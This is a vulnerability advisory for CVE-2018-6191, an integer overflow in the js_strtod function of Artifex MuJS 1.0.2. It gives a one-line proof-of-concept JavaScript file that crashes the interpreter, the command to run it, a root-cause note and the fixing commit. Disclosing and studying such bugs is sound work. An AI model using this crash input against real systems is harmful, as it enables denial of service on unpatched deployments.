Artifex MuJS 1.0.2 Integer Overflow

Artifex MuJS version 1.0.2 suffers from an integer overflow vulnerability because of incorrect exponent validation.

MD5 | 6b7270e7d80f409cf90160562efc61c0

The js_strtod function in jsdtoa.c in Artifex MuJS through 1.0.2 has an
integer overflow because of incorrect exponent validation.

# Exploit Title: Integer signedness error leading to Out-of-bounds read
that causes crash
# Date: 2018-01-24
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (
# Software Link:
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-6191

Content of the poc file
$ cat poc.js
function pipo() {var 2e2147483648= 117486231123842366;}

Run it
$ mujs poc.js

Additional details about the bug:

Inside the function js_strtod, after this line

exp = -exp;

the value of "exp" is still negative (cause integer declaration).

Fixed in commit 25821e6d74fab5fcc200fe5e818362e03e114428 (;a=commit;h=

Please let me know if you need more info.

Andrea Sindoni

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